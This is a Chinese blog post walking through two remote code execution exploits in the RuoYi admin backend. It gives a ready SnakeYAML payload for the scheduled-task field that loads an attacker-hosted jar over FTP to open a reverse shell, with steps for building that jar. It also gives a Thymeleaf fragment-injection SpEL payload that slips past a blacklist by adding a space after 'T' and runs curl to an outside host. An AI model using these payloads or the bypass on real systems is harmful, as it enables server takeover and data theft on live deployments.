若依管理后台的一些代码执行漏洞

反射+Yaml达到的代码执行

漏洞发现

在若依管理后台-系统监控-定时任务-新建,发现有个调用目标字符串的字段

查看定时任务的具体代码,定位到ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java

假设我们输入com.hhddj1.hhddj2.hhddj3()

经解析后

  • beanName为com.hhddj1.hhddj2
  • methodName为hhddj3
  • methodParams为[]
/**
 * 执行方法
 *
 * @param sysJob 系统任务
 */
public static void invokeMethod(SysJob sysJob) throws Exception
{
    String invokeTarget = sysJob.getInvokeTarget();
    String beanName = getBeanName(invokeTarget);
    String methodName = getMethodName(invokeTarget);
    List<Object[]> methodParams = getMethodParams(invokeTarget);

    if (!isValidClassName(beanName))
    {
        Object bean = SpringUtils.getBean(beanName);
        invokeMethod(bean, methodName, methodParams);
    }
    else
    {
        Object bean = Class.forName(beanName).newInstance();
        invokeMethod(bean, methodName, methodParams);
    }
}

反射Runtime失败

想要通过该反射执行命令,首先想到使用java.lang.Runtime.getRuntime().exec("")

若使用该payload,则会跳到JobInvokeUtil.java的这段代码中。

Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);

然而,想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数

  • 无参
  • public

而Runtime类的构造函数是private的,不满足条件,因此使用payloadjava.lang.Runtime.getRuntime().exec(""),会报错。

反射ProcessBuilder失败

同样的,虽然我们可以在new ProcessBuilder的时候可以不加参数,但是并不代表ProcessBuilder的构造函数是无参的。因此使用ProcessBuilder的payload也会报错。

ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("/bin/bash","-c","curl http://xxx/test");
processBuilder.start();

ProcessBuilder的构造函数

public ProcessBuilder(List<String> var1) {
    if (var1 == null) {
        throw new NullPointerException();
    } else {
        this.command = var1;
    }
}

public ProcessBuilder(String... var1) {
    this.command = new ArrayList(var1.length);
    String[] var2 = var1;
    int var3 = var1.length;

    for(int var4 = 0; var4 < var3; ++var4) {
        String var5 = var2[var4];
        this.command.add(var5);
    }

}

构造Yaml类

想要代码执行,我尝试过写文件等等方式,但是都无法反射成功。

因为根据若依的定时任务代码,需要满足以下条件:

  • 类的构造函数无参且public
  • 调用的方法的参数类型只能是String/int/long/double
  • 该方法具有代码执行的潜力

因此找到Yaml类,刚好若依有一个YamlUtil类,里面使用了org.yaml.snakeyaml包。

所以我们构造了以下payload,使用ftp协议的原因是http被禁用

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["ftp://ip/yaml-payload.jar"]
  ]]
]')

yaml-payload.jar的生成过程:

1)在github上下载源码(https://github.com/artsploit/yaml-payload.git)

2)将IP和端口改成我们对应攻击机上的IP和端口

3)使用以下两条命令生成新的yaml-payload.jar,生成的yaml-payload.jar位置如下图红箭头所示。

javac src/artsploit/AwesomescriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

漏洞利用过程

1.生成yaml-payload.jar,ip写攻击机ip,端口写2333。生成之后,传到攻击机的ftp目录下。

2.攻击机:监听2333端口

3.若依管理后台,新建定时任务,目标调用字符串写

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["ftp://攻击机ip/yaml-payload.jar"]
  ]]
]')

4.攻击机上收到反弹shell

结合Thymeleaf注入的代码执行

在代码审计若依的时候,发现了Thymeleaf语法的一些问题,不过后来发现大佬们之前就写过很多关于Thymeleaf注入的资料。

漏洞分析

Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:

http://demo.ruoyi.vip/monitor/cache/getNames

http://demo.ruoyi.vip/monitor/cache/getKeys

http://demo.ruoyi.vip/monitor/cache/getValue

http://demo.ruoyi.vip/demo/form/localrefresh/task

通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
    mmap.put("cacheNames", cacheService.getCacheNames());
    return prefix + "/cache::" + fragment;
}

这四段接口方法中,都使用了thymeleaf的语法:

"/xxx::" + fragment;

我们构造fragment的值为:

%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%68%74%74%70%3a%2f%2f%63%6d%6d%6f%76%6f%2e%63%65%79%65%2e%69%6f%2f%72%75%6f%79%69%74%65%73%74%22%29%7d

-->

${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

当我们构造的模板片段被thymeleaf解析时,thymeleaf会将识别出fragment为SpringEL表达式。不管是?fragment=header(payload)还是?fragment=payload

但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)"或者"new SomeClass"

这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。

因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。

漏洞利用过程

1.将payload进行HTML编码

${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

2.填入header后面的括号中,命令成功执行,ceye监听平台收到dnslog请求

posted @ 2022-03-23 16:21  Fluorescence  阅读(2523)  评论(0编辑  收藏  举报